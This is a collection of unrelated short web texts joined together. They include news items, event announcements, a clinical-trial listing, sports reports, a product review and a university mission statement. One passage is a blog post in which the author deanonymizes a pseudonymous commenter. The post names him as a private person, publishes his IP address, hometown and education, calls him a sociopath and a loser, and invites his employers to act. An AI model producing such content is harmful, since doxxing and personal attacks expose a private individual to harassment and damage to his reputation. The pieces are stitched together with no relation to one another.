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Scott Straus, one of the nation's leading scholars and most-published authors on the violence in Rwanda, will give a 4:15 lecture Wednesday, Oct. 6, about his visit to the African country.
Straus' talk, "A Short History of Violence in Sub-Saharan Africa," will be held in Baxter 101.
"Students should be interested in Straus because he's an expert on genocide in an age when, unfortunately, genocides show no sign of ending," said Wabash political science professor Ethan Hollander. "And he's an expert on human rights at a time and in a region where those rights are severely threatened."
Straus is the author of three books, dozens of journal articles, and nearly 50 front-page newspaper stories on the widespread violence across Sub-Saharan Africa.
The Order of Genocide: Race, Power, and War in Rwanda (2006) received a number of awards, including the 2007 Choice Outstanding Academic Title award, the 2006 Award for Excellence in Government and Political Science by the Association of American Publishers, and received Honorable Mention for the 2007 Herskovits Prize by the African Studies Association.
"Straus' book is really one of the authoritative accounts of the Rwandan genocide as well as a leading contribution to current scholarship about genocide and ethnic violence more generally," Hollander said.
"It really is a fantastic honor to have Straus visit our campus. I hope that people from Wabash and the surrounding community will take advantage of this wonderful opportunity," Hollander added.
Straus is an associate professor of political science and international studies at the University of Wisconsin-Madison where he teaches, among others, courses on genocide, human rights, African politics, and international studies. Straus has won praise for his teaching, most recently with the William Kiekhofer Distinguished Teaching Award in 2009. He received his bachelor's degree in English from Dartmouth College and both his master's degree and Ph.D. in political science from the University of California at Berkeley.
Straus is also the author of Intimate Enemy: Images and Voices o the Rwandan Genocide (with Robert Lyons) and Africa's Stalled Development: International Causes and Cures (with David Leonard).
Straus got his start as a freelance journalist in East and Central Africa in the late 1990s, where he reported for the Houston Chronicle, San Francisco Chronicle, The Baltimore Sun, Toronto Globe and Mail, and London's Guardian newspaper. He published 45 front-page articles covering 15 African nations. In 1996, he was nominated for a Pulitzer Prize for his work in the Houston Chronicle.
He is an editorial board member for Genocide Studies and Prevention, the journal of the International Association of Genocide Scholars (peer-reviewed journal) and the journal African Affairs.
Straus' lecture is free and open to the public, and will be followed by a reception and book signing.

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New: Berkeley Fair Campaign Practices Commission to Act on Most Egregious Violations of Local Election Laws
Berkeley Tenants United for Fairness", a pro-landlord slate, has admitted numerous violations of state and local campaign finance laws The violations committed by TUFF are some of the most egregious in Berkeley history and could pave the way for other violations in the future, and undermine the letter and spirit of Berkeley's voter approved Election Reform Act.
Berkeley's Fair Campaign Practices Commission, charged with enforcing the city's voter approved Election Reform Act, will be acting on a complaint Thursday night against "Berkeley Tenants United for Fairness" a slate mailer organization (SMO) created in the 2012 election, who has admitted numerous violations of state and local campaign finance and disclosure laws.
TUFF's use of a Slate Mailer Organization (SMO) to circumvent local election laws has raised the concern of the Berkeley Fair Campaign Practices Commission who will also be looking into establishing local rules to regulate SMOs.
In response to a complaint filed, the City Attorney's office is recommending that the commission approve a stipulation with TUFF that admits guilt for a wide range of state and local campaign violations in exchange for paying $4,000 in penalties. According to estimates by City staff, potential penalties for the violations committed by TUFF would normally result in tens of thousands of dollars in fines.
Berkeley Tenants United for Fairness is a slate mailer organization created last fall to support four candidates for the Berkeley Rent Stabilization Board: Jay James, Judy Hunt, Nicole Drake and Kiran Shenoy. Jay James was named as an officer of the committee and all four candidates had control over the content of mailers sent out, according to campaign filings.
While misleadingly calling themselves "Tenants" United for Fairness, in fact the four person slate included a landlord (Judy Hunt) and a rent-stabilized tenant (Jay James) who also owns a 20% interest in a real estate LLC. All four candidates were supported by Berkeley Property Owners Association President Sid Lakireddy and landlord and real estate interests. Mr. Lakireddy also fundraised for TUFF and campaigned for all four candidates. These candidates campaigned on a platform which would have undermined Berkeley's voter approved Rent Stabilization Ordinance, and hurt thousands of renters in Berkeley.
TUFF received more than $50,000 in contributions from large property owners and corporate interests. However in the process of accepting contributions, it broke several laws. According to investigative reports, the role of candidate Jay James as an officer of the SMO made it a candidate committee, and therefore subject to local laws, including the city contribution limit of $250 per candidate and prohibitions on business contributions. Yet TUFF accepted thousands of dollars in donations and money from businesses.
City staff, in a draft stipulation prepared for the Commission's review, agreed that TUFF "accepted contributions from prohibited business sources …which were used for the benefit of the four candidates."
In the stipulation, City staff also notes the four TUFF candidates violated the letter and spirit of the Berkeley Election Reform Act namely "receipts and expenditures in municipal election campaigns should be fully and truthfully disclosed in order that the voters may be fully informed and improper practices may be inhibited." The candidates disclosed contributions received through the TUFF SMO as much as two months after the filing deadline.
What: Berkeley Fair Campaign Practices Commission vote on complaint against Tenants United for Fairness
Where: North Berkeley Senior Center, 1901 Hearst Avenue, Classroom C, Berkeley
When: Thursday, May 16, 2013, 7:00 pm


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President Bush and Secretary of Agriculture Mike Johanns would like to play major roles in shaping the next farm bill, but Congress is not likely to abdicate that chore, says Texas A&M Extension economist Joe Outlaw.
Outlaw, co-director of the Texas A&M Ag Policy Center, discussed prospects for the next farm bill during a recent risk management seminar in McKinney, Texas.
"As far as the president's budget, Congress will pretty much ignore it," Outlaw said. "It's easy to get disheartened but neither the president, the Office of Management and Budget nor the secretary of agriculture will pass agricultural legislation. Congress has that responsibility and key leadership in both houses still supports the current farm law and they support agriculture."
Outlaw said congressional leaders still "listen to what we say and believe that things are not all that good in farm country."
"But the secretary of agriculture will be involved in farm bill debates and may have his own proposal. This could be the first time since the early 1980s that a secretary of agriculture submitted a farm bill proposal."
He said close involvement, including recent listening sessions across the country, emphasize the administration's desire to influence farm policy. He said the administration is using the World Trade Organization and the budget to make significant changes. But WTO issues, he said, "seem well overblown from reality. And the House and Senate will not take the lead of the secretary of agriculture."
He said the administration's claim that the farm sector is doing well does not hold up under close scrutiny.
"Our numbers are not as positive as the administration's," he said. "We see soybean prices remaining flat. Cotton, wheat and rice may be up. But the index of prices paid show that costs do not come down to where farmers can make money." He said fertilizer and fuel costs are the biggest factors.
"Real people are having real problems," he said.
Outlaw doesn't assume that ag policy will sail through both houses of Congress without hitting some rough water.
"We have new leadership," he said, "and payment limit issues will be crucial. We see divisiveness within the parties on payment limits."
Outlaw said bi-partisan bickering also poses serious challenges to enacting a reasonable farm bill. "Legislators are not working together (across party lines). Now, Democrats and Republicans have to meet separately." He said the current atmosphere reflects a sea change from the way Larry Combest and Charlie Stenholm conducted business across party aisles.
Outlaw expects little progress on farm policy this year with Congress looking at lobbyist scandals and house members facing fall elections. That may be good news in light of recent budget cut proposals. "It 's hard for a legislator to cut budgets and run for re-election at the same time," Outlaw said.
He expects no new farm law to be signed before 2008. "I don't expect the next farm law to be much different from what we have now," he said. "I think it will include tighter payment limits. The legislators who kept it (tighter payment limits) from passing before are losing their resolve. They basically put it off."
Other issues that will make the farm bill debate interesting include fruit and vegetable and livestock interests asking for a seat at the table. He said complying with WTO rules might be difficult if the farm bill maintains a fruit and vegetable exclusion. "The fruit and vegetable industry also want market access and help with disease and phyto-sanitary concerns," he said.
"Livestock will be involved, too. So we have the same size (or smaller) pie being cut into smaller pieces."
Outlaw said some criticize corn growers' ethanol allowances. "But everyone benefits from that program," he said. "Still, it's a contentious issue."
Renewable fuels will play an important role in the next farm bill debate, he said. "With fuel prices at $1.20 a gallon, ethanol made little sense for Texas," he said. "But at $2 a gallon, it's a viable enterprise."
He said disaster payments will be harder to come by. "Ever since the president required offsets (for disaster spending) Congress has been less willing to authorize disaster payments because they have to cut other programs."
He said reluctance to provide disaster assistance could help secure a safety net in the next farm law.
Outlaw said trade issues continue to concern farmers. "We want market access and they (trading partners) want us to eliminate support payments. We're at a stalemate and it's a matter of who blinks first. But 150 countries have to agree.
"Free trade is hard to do," he said. "But we do need a new Peace Clause."
That clause prohibits a signatory of an agreement from suing another signatory. Losing that clause allowed Brazil to sue the United States over cotton subsidies.
"If we don't get an agreement we will continue to get sued, crop by crop."
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A Study of Retrovir in the Prevention of HIV Infection in Health Care Workers Accidentally Exposed to the Virus
|The safety and scientific validity of this study is the responsibility of the study sponsor and investigators. Listing a study does not mean it has been evaluated by the U.S. Federal Government. Read our disclaimer for details.
|ClinicalTrials.gov Identifier: NCT00002287
Recruitment Status : Completed
First Posted : August 31, 2001
Last Update Posted : June 24, 2005
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|Official Title:
|A Placebo-Controlled Trial to Evaluate Retrovir in Preventing Infection With the Human Immunodeficiency Virus (HIV) in Health Care Workers After Accidental Exposure
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Patients with the following are excluded:
- A prior history of a malignancy other than cutaneous basal cell or cervical carcinomas.
- Other significant, chronic underlying medical illness which, in the physician's judgment, would impair study completion.
- Evidence of compromised bone marrow function (lab results) with a blood transfusion within the last month.
- Liver dysfunction as indicated by lab results.
Patients are excluded if there is a prior diagnosis of HIV infection by one of the following criteria:
- HIV antibody positive by ELISA and Western blot assays or by other certified test method. (Patients who are ELISA positive but Western blot or other confirmatory tests are negative may continue in study).
- HIV antigen positive.
- Clinical symptoms which lead to a diagnosis by a licensed physician of AIDS or AIDS related complex or AIDS-related dementia. Also excluded are individuals who have experienced similar HIV exposure as described in this protocol in the past month and individuals who have previously been enrolled in this study. The purpose of these exclusions is to eliminate possible seroconversion in an individual that could be attributed to HIV exposure other than the single exposure experienced just prior to entry into the study.
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Excluded within 4 weeks of study entry:
- Any potentially myelosuppressive drug.
- Nephrotoxic agent.
- Other experimental therapy.
Exposure of a health care worker to HIV-contaminated blood or blood component within 5 days prior to beginning therapy, defined as one of the following:
- Penetrating wound from needle recently removed from patient or sample container (e.g., blood bag, blood tube) or from sharp object visibly contaminated with HIV-positive blood or blood component. In the case of needlesticks or cuts with sharp objects, blood or blood component must not have been exposed to the air for more than 1 hour. If actual infusion of blood occurs, the 1-hour time limit does not apply.
- Hypodermic needles should come in contact with the blood and blood component from an HIV source but need not be visibly contaminated with blood to be considered a source of contamination.
- Significant exposure to HIV-positive blood or blood component as the result of splash on abraded skin.
- Significant exposure to HIV-positive blood or blood component as the result of splash on mucous membranes.
- Participant must be able to give informed consent.
Active drug or alcohol abuse sufficient in the physician's opinion to prevent compliance with the study regimen.
To learn more about this study, you or your doctor may contact the study research staff using the contact information provided by the sponsor.
Please refer to this study by its ClinicalTrials.gov identifier (NCT number): NCT00002287
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|Glaxo Wellcome Inc
|Research Triangle Park, North Carolina, United States, 27709
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|August 31, 2001 Key Record Dates
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|June 24, 2005
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|August 1989
Keywords provided by NIH AIDS Clinical Trials Information Service:
Health Manpower
Accidents, Occupational
Additional relevant MeSH terms:
Communicable Diseases
HIV Infections
Acquired Immunodeficiency Syndrome
Lentivirus Infections
Retroviridae Infections
RNA Virus Infections
Virus Diseases
Sexually Transmitted Diseases, Viral
Sexually Transmitted Diseases
Immunologic Deficiency Syndromes
Immune System Diseases
Slow Virus Diseases
Molecular Mechanisms of Pharmacological Action
Reverse Transcriptase Inhibitors
Nucleic Acid Synthesis Inhibitors
Enzyme Inhibitors
Anti-Retroviral Agents
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The more I watch these musicians the more I want to find out….a great night out.
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In the immediate aftermath of the Israeli Navy's massacre of 9 activists on the Mavi Marmara, I began a journalistic process of discrediting wild and fabricated claims by the Israeli Army Spokesman's Unit about the incident. Around this time, when my blog began receiving unprecedented traffic, several hasbara trolls suddenly occupied my comments section. They have maintained a constant presence ever since, dragging the discussion into the gutter with propagandistic arguments and absurd personal attacks on me and other commenters — there isn't much else to do when you are defending a country that behaves like Israel does. While I enjoy receiving legitimate criticism, I can no longer allow trolls to treat my blog like Moshe Katsav treated his female staffers. So I have decided to ban them all and institute a new "no trolling" policy.
I have also taken successful steps to unmask one of the shrillest, most annoying, and consequently, most pathetic, hasbara trolls; an obsessive character who writes under the handle of "E," and who has also trolled at 972mag.com as "F." "E" and "F" appear to be Etan J Schwartz of Englewood, New Jersey — all the evidence I have compiled points to him. Indeed, "E" has registered to comment on my blog through the email address email@example.com, which matches his initials and alma mater. And his IP address, 184.108.40.206, indicates that he is in or around Livingston, New Jersey, which is basically down the road from Englewood. So I am 99.99 percent certain that Etan J. Schwartz is "E."
Schwartz has carried out a long campaign of harassment and demonization against me and others through his personal Facebook page and with letters to my editors written under his real name. In both his Facebook rants and in what appear to be his anonymous diatribes in my comments section, his rhetoric is distinguished by resentful remarks against Ashkenazi Jews. Schwartz's anti-Ashkenazi tendencies are strange considering that he labors as a chai walla for the Ashkenazi country club known as the neoconservative movement and that he appears devoted to promoting the cause of a country controlled by an Ashkenazi elite that has historically exploited and oppressed Mizrahim. But who ever said that hasbara trolls were not conflicted, deeply damaged people?
A graduate of New York University who has pursued his master's degree in International Affairs at George Washington University's Elliott School, Schwartz has set his sights on a career as an errand boy for the Israel lobby and neocon groups. Given all the career opportunities that are seemingly available to this young man, I find it remarkable that he seems to spend so much of his energy scrutinizing my work and polluting the comments section of my blog. Is he really that much of a loser? Doesn't he have anything better to do? Or is he paid by the Israeli Foreign Ministry or a pro-Israel oufit to troll? (Professional hasbara trolls are some our society's biggest losers, so both scenarios are possible and equally tragic).
According to his bio, Schwartz was a researcher for WINEP, which is AIPAC's de facto policy arm. He also did some work for the Islamophobic huckster Steve Emerson at the Investigative Project on Terrorism. Vincent Cannistrano, a former CIA counter-terrorism operative, has alleged that Emerson's closest allies are "Israeli funded." Now Schwartz claims to now be a staff assistant for the Kurdistan Regional Government, an entity that neocon Cliff May recently hailed as, "The Other Israel" (May appeared to have some sort of arrangement with the KRG to produce favorable publicity).
The question is, given Schwartz's connections to the neocon cabal, do his employers know about his apparent ongoing campaign of harassment against me and possibly other bloggers? Perhaps trolling is part of Schwartz's job description and his obsession with me and everything I write is rooted in some rational motivation. Or perhaps he is a pure sociopath who presents a clear hazard to anyone who hires him and everyone who works in his vicinity. In this case, Schwartz's employers should know his about his apparent hobby.
Though trolls will never be heard from at my blog again, I will continue my efforts to unmask those who have frequented this site for the sole purpose of trolling.
Etan, may the Schwartz be with you!


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Whether in the stripes of Juventus, the white of Madrid or the blue of France, Zinedine Zidane was a midfielder worth watching during his playing career.
His time at Real Madrid between 2001 and 2006 saw him win the Champions League with that famous volley as well as a La Liga title.
Zidane has gone as far as to say: "Real Madrid is the most important thing that happened to me," and Zizou is just as loved by the Bernabéu fans and, perhaps more importantly, by club president Florentino Perez. The club legend was appointed Director of Football in 2011 before being announced as Carlo Ancelotti's assistant this June.
Some see Zidane as a potential replacement for the Italian sometime in the future and he is currently earning his coaching badges.
While a Zidane-coached Real Madrid may still be some years away in the future, the ex-star has already proved his worth to the club since his retirement.
It was a phone call from Zidane which convinced the 20-year-old French defender Raphaël Varane to move to the Bernabéu two summers ago. Varane has impressed since and has not let the pressure on his young shoulders worry him, making 35 appearances for the European giant in two years.
His most memorable contributions so far were his two headed goals in Madrid's 4-2 aggregate win over Barcelona in last season's Copa del Rey. Varane's double was the difference in that tie and means Zizou can take credit for another Clásico win.
Zidane has since proved that his persuasive powers were not just saved for Varane. His personal phone calls to impressive Spain Under-21 internationals Isco and Illarramendi have convinced the pair to sign for Real this summer rather than other suitors and more Zidane-inspired signings could be yet to come in the next few seasons.
He has also been persuasive at the exit door of the Bernabéu as well as the entrance as it has been reported that conversations between Zidane and Kaka and compatriot Karim Benzema have resulted in the struggling pair agreeing to stay and try again in the Spanish capital.
His new role as assistant coach to his former Juve boss, Ancelotti, will see Zidane's influence at Madrid stretch to the training pitch this season and that could even help inspire Kaka and Benzema.
The World Cup winner has been seen taking an active role in Madrid's first training sessions since the summer break, putting himself in the mix with stars such as Ronaldo as well as the new arrivals he helped bring in.
Zinedine Zidane has certainly been a busy man in northern Madrid of late. His behind the scenes work and his new training ground role could make the case that the former player is Real's greatest asset, even ahead of Cristiano Ronaldo.
Whatever the case, Zidane is a man Madrid are very lucky to have on board.
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DIY Oyster Mushroom Kit
For Christmas, my boyfriend bought me a Blue Oyster Mushroom kit from Mushroom Adventures, and I had so much fun with it. The kit arrived on December 19th, and the box said "do not open until December 30th." This is because the mycelium is still being prepared. On January 2nd, I opened the box, which contained a clear plastic liner and a black plastic bag with slits cut in it. Following the instructions, I placed it in a well-lit location and sprayed it with water daily, and after seven days, the first mushrooms started emerging through the slits in the black plastic!
Within 15 days of opening the box, the mushrooms were larger than my hand and ready to be harvested. This was so low maintenance - all I really had to do was spray the kit with water daily - and so much fun to watch! After I picked the mushrooms and cooked them, I started spraying the mycelium again with water. The instructions said I should get a couple of harvests out of this.
You might be wondering why the mushrooms in my photos aren't blue. Well, the instructions say if they didn't turn blue, it means I didn't give them enough light. No matter - they were still delicious. The texture was so succulent and meaty, and they were much fresher than any oyster mushrooms I've ever had.
Mushroom Adventures also offers portobello and white button mushroom kits. The box is about 2 feet by 2.5 feet and does not really take up a lot of space in my kitchen. It didn't make a mess at all - the clear plastic liner catches all the water and keeps it inside the box. The mushrooms dropped their spores inside the box, and since there's no dirt, I didn't even have to clean them off. I simply just picked them, and cooked them up. Also, since I grew this indoors, I didn't have to deal with bugs!
I've also been told that Fungi Perfecti is a good company to shop for mushroom kits. They offer several different varieties than Mushroom Adventures does, such as shiitake and pioppino mushrooms.
I've only had one harvest so far (the next harvest hasn't sprouted yet) but in the first harvest, I got about a pound and half of oyster mushrooms out of it. Considering oysters sell for around $10 to $12 per pound and the kit cost $36, and I'm supposed to get more harvests out of it, I'd say this is pretty cost effective! Plus, it was so much fun. I think this would make a wonderful family project to do with kids.
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Blackhawks outlast Red Wings in OT to win Game 7by Corey Masisak
CHICAGO -- The Chicago Blackhawks hadn't faced much adversity this season during what has been an amazing journey. When they did, they proved up to the challenge after all.
After the Blackhawks roared through the Western Conference during the regular season en route to the Presidents' Trophy, Chicago coach Joel Quenneville felt his team needed to find a new level after dispatching the eighth-seeded Minnesota Wild in five games in the opening round of the 2013 Stanley Cup Playoffs.
The seventh-seeded Detroit Red Wings provided a much stiffer test and pushed the Blackhawks to the brink of an ignominious elimination by winning three of the first four games in the Western Conference Semifinals. But Chicago cemented its championship-caliber credentials Wednesday night, defeating the Red Wings 2-1 in overtime of Game 7 to become the 25th team in NHL history to rally from a 3-1 series deficit.
"You go back to after Game 4. Their approach and the belief in the room, and each other was there," Quenneville said. "It was a strong season and we had to find a way. I think winning here in Game 5 got us excited again and got the momentum back. The last two games were tightly fought and amazing games. Finding a way to win that big third period the other night and finding a way to win tonight as well.
"We're excited about where we're at. Give Detroit credit. It was a tough series, a great series. We were on the ropes for a long time in that series, so we're very excited about where we're at today."
The Blackhawks will face the defending Stanley Cup champion Los Angeles Kings in the Western Conference Finals. Game 1 will be at United Center on Saturday (5 p.m. ET; NBCSN, CBC, RDS), and Game 2 will follow Sunday evening. It's the first time since 1945 and only the second time ever that the NHL's final four will feature the four most recent Cup winners, as the Pittsburgh Penguins and Boston Bruins square off in the Eastern Conference Finals.
Brent Seabrook scored his first goal of this postseason 3:35 into overtime after the Blackhawks fended off a furious push from the Red Wings in the third period and the distraction of a controversial disallowed goal late in regulation.
Seabrook, who saw his ice time reduced earlier in the series before being reunited with his old partner Duncan Keith before Game 5, was one of the team's top players during the comeback. After a big hit by Dave Bolland freed up the puck, Seabrook ripped a shot from the high slot that went off Detroit defenseman Niklas Kronwall and past Howard to complete Chicago's first-ever comeback from a 3-1 series deficit.
"I didn't realize how far back the D was. I didn't realize how much room I had," Seabrook said. "Once I saw the d-man on his back. I know Kronwall, he's a great defenseman. He tried to get out there and block it. I just wanted to get it past him and on net so I could change. Luckily it went in."
It was the third chance for the Red Wings to complete another upset and prolong this unexpected postseason. After staving off elimination twice against the second-seeded Anaheim Ducks with a seven-game victory in the opening round, the Red Wings stunned the Blackhawks by dealing them their first three-game losing streak of the season.
For a team that lost Nicklas Lidstrom, Brad Stuart, Tomas Holmstrom and Jiri Hudler in the offseason, this "rebuilding" year will be considered a success. But missing out on three chances to knock out the rival Blackhawks and reach the conference finals still hurts.
"Win," forward Daniel Cleary said when asked what could have been done differently. "I don't know. I thought we played a good game, had a good third period. Listen, it is a good team we played. Guys should be proud and disappointed. We had a chance, three chances to close them out and we just didn't get it done."
Seabrook's goal mitigated a potential controversy after what looked like the go-ahead goal by Chicago defenseman Niklas Hjalmarsson with 1:49 left in regulation was negated when referee Stephen Walkom called matching roughing minors away from the play on Detroit's Kyle Quincey and Chicago's Brandon Saad.
Patrick Sharp gave the Blackhawks the lead with a goal 68 seconds into the second period. Chicago dominated possession of the puck in the opening minute, and when Detroit got the puck out of its own zone defensemen Kronwall and Jonathan Ericsson both went for a change after being on the ice since the start of the period.
Hjalmarsson retrieved the clearance and snapped a pass from near his own blue line to Michal Handzus, triggering a 3-on-1 break. The puck went to Sharp, who dropped it for Handzus, then to Marian Hossa and finally back to Sharp for a tight-angled shot that beat Howard.
It was Sharp's seventh goal of the 2013 Stanley Cup Playoffs, which ties him with Pittsburgh's Sidney Crosby and Pascal Dupuis for the most in the League. Sharp had five in the first round and an empty-netter in Game 1 of this series, but had gone five contests without a goal.
"They went for a line change, I felt that I could get maybe a breakaway opportunity," Sharp said. "Obviously I got cut off with that. A couple of nice passes, I had an open net. It was a big goal for us."
Detroit captain Henrik Zetterberg continued his amazing run of production in his team's biggest games this season by scoring the tying goal 26 seconds into the third period.
The Blackhawks' Johnny Oduya got the puck out of his zone, but Cleary caught the Red Wings' chip back in near the blue line and got the puck to Gustav Nyquist. That gave Detroit a 2-on-1, and Nyquist flipped a pass over a sliding Seabrook to Zetterberg for an easy one-timer with Corey Crawford overplaying the rookie forward.
In Detroit's seven biggest games of the season -- the final four of the regular season (all wins to claim a playoff spot on the last day), the two elimination games in the opening round against the Anaheim Ducks and this one -- Zetterberg has six goals and 16 points.
The Blackhawks thought they had taken the lead when Hjalmarsson ripped a shot from near the top of the left circle that beat Howard, and the crowd went crazy, but Walkom waived the goal off from near the benches.
The Red Wings lost a top-six forward early in the first period when Valtteri Filppula left the game with a lower-body injury and did not return. Filppula, who had six points in five career Game 7s (including two against Anaheim in the opening round), played only 1:28 in two shifts. He got tangled up with Chicago's Andrew Shaw as he was leaving the ice on the second shift, and replays showed Shaw kicked Filppula's leg out from under him.
A team spokesman after the game said Filppula suffered a high ankle sprain.
Howard made 35 saves, including several great ones in the first 40 minutes while Chicago carried most of the play. His opposite number at the other end, Corey Crawford, had to make a couple of big stops after Zetterberg leveled the score and finished with 27 saves.
This was the final time these two teams will meet as rivals in the same conference, as the Red Wings are moving to the Eastern Conference next season. Given the history these two franchises share -- this was the 16th playoff series between the two -- this final showdown proved to be a proper sendoff.
"Putting on the jersey today, you know, I wanted to give it as much as I can," said Cleary, who can become an unrestricted free agent in July. "I wanted to keep going. I thought we had a good team and a good chance. We were potentially going to get [rookie defenseman Danny] DeKeyser back. Just wasn't meant to be. That's all."
Now the Blackhawks are halfway there as they try to capture the Stanley Cup for the second time in the past four seasons. The Kings, with all-world goaltender Jonathan Quick and a punishing style of play, will be a new challenge. But for the Blackhawks, this was a giant test, and even with a little extra drama near the end, they passed.
"We did have some learning curves in this round definitely," Seabrook said. "Detroit played a great series. We really had to find ourselves after the fourth game being down 3-1. I thought the boys responded well. We played a very good Game 5. I thought we played a very good Game 6. I thought we played very well tonight. Detroit gave us all they had. It was just nice to come out on the winning end of this."


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Actresses Nicole Kidman, Charlize Theron, Elizabeth Banks, Amy Poehler, Kerry Washington and Jennifer Hudson, along with Sony Pictures co-chair Amy Pascal, were honored for their devotion to philanthropic causes at Variety's Power of Women luncheon in L.A. on Friday. [Society News LA]
Halle Berry and Olivier Martinez welcomed a baby boy on Saturday. [People]
Kate Moss is collaborating with Top Shop again, with a new collection set to launch in April, WWD reports. [WWD]
Los Angeles Fashion Week -- which actually goes on for more like two to three weeks -- got underway with an event that paired designers and their muses. [WWD]
Yvan Mispelaere, former creative director at Diane von Furstenberg, reportedly is heading to Roberto Cavalli as design director. [The Cut]
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MonmouthCounty Safety Program Encourages Students to 'Reach for Your Dreams'
The Monmouth County Office of Education and the Monmouth County Sheriff's Office have joined forces in a prevention program designed to educate children in the community about the dangers of drugs and violence. Called "Reach for Your Dreams," the program features a "dream team" of individuals who have overcome adversities and achieved success, who now want to touch students with a message of hope.
"We should never underestimate the value of role models in the lives of our young people," said Acting Commissioner of Education Lucille E. Davy. "Role models who have risen above a troubled past can be especially effective, since they are living examples that it's never too late to make a fresh start and strive for a positive and successful life."
"Dream Team" members are carefully screened volunteers who deliver a powerful personal message on the reality of drug addiction and its devastating effects on their lives. The program will begin next month with presentations made to upper elementary, middle and high school audiences.
"Reach for Your Dreams" is the latest in a series of programs co-sponsored by the Monmouth County Office of Education and Monmouth County Sheriff's Office. Other programs include "Knowing My Eight Rules of Safety" (see attached), and "Safe Surfing," an internet child safety program that addresses safety techniques including the dangers of chat rooms, how to respond to inappropriate "pop-ups," so-called "free" offers that sound too good to be true, and requests for personal information from possible predators.
All three programs are based on programs that have been used successfully elsewhere.


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Electronic Commerce Speeds Federal Acquisitions.
n increasing number of agencies are turning to electronic shopping malls for their procurement needs. On-line ordering systems enable federal shoppers to quickly compare prices, check if products are compliant with certain standards and easily document all transactions. Many products ordered electronically can be shipped within 24 hours-meaning agencies can keep low inventories and eliminate warehouses. And people processing purchase orders no longer have to deal with problems such as illegible handwriting, transposed product numbers or orders placed from out-of-date catalogs.
"We have revolutionized the ability of federal employees around the world to acquire goods and services," says William Gormley, assistant commissioner of the Federal Supply Service's Office of Acquisition. "Now everyone from a State Department executive in Ethiopia to a GSA employee in Washington can easily place orders. It's as simple as surfing the Internet."
The Federal Supply Service recently set up its own on-line procurement system, known as GSA Advantage (http://www.gsa.gov). The system offers 4 million products from 7,000 vendors on 120 government schedules. Buyers can purchase everything from paper clips to automobiles using the user-friendly, point-and-click ordering system. Purchases can be charged on government credit cards.
Like GSA Advantage, the Navy's Information Technology Electronic Commerce Direct Web site incorporates a virtual shopping mall theme. Users click on an elevator icon can be clicked to move through different floors of products from indefinite-delivery, indefinite-quantity contracts such as Desktop IV.
The Air Force's Electronic Systems Group offers a country store motif (http://www.hanscom.af.mil/Hanscom/Groups/Cstore) while the Defense Information Systems Agency's Electronic Shopping System (http://22.214.171.124) provides on-line availability of catalogs from dozens of vendors. In addition, several major government resellers, such as Government Technology Services Inc. (http://www.gtsi.com), have introduced procurement-related home pages on the Internet.
On-line ordering systems have become so popular that they even are being used by troops in Bosnia to order supplies such as pharmaceuticals and communications gear. The Defense Department recently set up a dedicated satellite so contracting officers in the field could place orders over the government's Federal Acquisition Network.
The White House predicts on-line ordering systems will help federal buyers cut procurement costs by at least 10 percent and speed delivery times by a third.


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Mission, Values, and Vision Statement
Thomas More University is the Catholic Liberal Arts University of the Diocese of Covington, Kentucky. Inspired by the Catholic Intellectual Tradition, we challenge students of all faiths to examine the ultimate meaning of life, their place in the world, and their responsibility to others.
Thomas More University has a twofold nature: it is 1) Catholic, and 2) an institution of higher learning. It consequently has a twofold goal: to promote the truth and moral values espoused by the Roman Catholic Church in the context of providing higher education in both the speculative and practical orders. The faculty believes that such a goal can only be achieved when certain values are embraced and conveyed. While an exhaustive listing of these values might be more confusing than helpful, the faculty considers the statement that follows to indicate the way in which these values are interrelated and interdependent within the framework of a truly Christian understanding of faith, hope and love.
Because the University acknowledges the importance in human life of faith in God, it sees the pursuit of knowledge in all realms as contributing to a deeper understanding of God and God's creation. Knowledge, then, is not merely an end in itself, but a gateway opening to the mystery of reality, of truth. Faith informs the process by which truth is sought and underpins the value we place on the practice of academic freedom which seeks to bear witness to the respect with which God treats individuals in their quest to know and live His Truth.
As a Christian community living in hope, the University attaches particular importance to those qualities that bring the reality of the Kingdom of God into the world. The University seeks to develop persons who will be competent in their various fields of endeavor, who will have a sense of responsibility toward their fellow human beings, respect for all life, indeed toward all the resources of the earth that God has placed in our care. The University community, therefore, holds out the ideal of a world in which the justice and peace of the Kingdom can be a reality that we bring to life, not simply an image we wish for but do nothing to attain.
In an atmosphere characterized by Christian love, the University promotes respect for the unique talents, self-awareness, self-fulfillment, and freedom of each person together with tolerance and compassion for their weaknesses and limitations. Because love is not just an emotion or a passing fancy, the University community challenges itself to translate love into commitment and service to others.
As Thomas More University fulfills its stated mission, we envision our school clearly known for its commitment to academic excellence in the liberal arts and in career preparation. To achieve our mission, we resolve to maintain a student/faculty ratio that permits small classes, individual attention, and close faculty relationships.
As a necessary foundation, we will develop an endowment sufficient to support high quality academic and extracurricular programs while we minimize tuition increases.
In response to the spirit of our University community, we will provide an atmosphere of openness, honesty, trust, and respect that is ever apparent to ourselves and to visitors alike.
Ultimately, we at Thomas More University have committed ourselves to the integrity, concern for justice, and service to others for which our Spiritual Patron and namesake – Saint Thomas More – is so justly renowned.
Thomas More University is the Catholic University of the Diocese of Covington, Kentucky. The University welcomes students of all faiths and beliefs. Our primary mission is to develop and sustain challenging undergraduate, graduate, and professional programs of study, marked by superior teaching and scholarship within the Catholic intellectual tradition. Inspired by the teachings of the Catholic Church, and by our patron, Saint Thomas More, we challenge students to examine the ultimate meaning of life, their place in the world, and their responsibility to others. Our programs of study emphasize liberal arts within a context of ethical concern and social responsibility. These programs of study are complemented by co-curricular services and programs intended to enhance lifelong learning, foster personal growth, and develop leadership qualities.
Liberal Arts
The term Liberal Arts is rooted in the Latin liberare, "to liberate, set free." A Liberal Arts education cultivates lifelong learning and fosters the skills needed to be morally engaged citizens of the world.
Catholic Intellectual Tradition
Thomas More University continues the Catholic Intellectual Tradition, welcoming new generations to seek excellence in the pursuit of truth. From ancient times this tradition has sought wisdom in every area of thought, gladly learning from every source, Christian or not. We seek to share the discoveries of the ages with all who wish to enter into this quest regardless of personal beliefs.
Meaning of Life
We invite you to reflect on your relationships with nature, humanity, and the divine to choose a meaningful direction for your life.
Place in the World
From many disciplines, we encourage you to understand and respect the interconnectedness of our world.
Responsibility to Others
In the hope of building a better world, we urge you to live moral principles in your community and career.


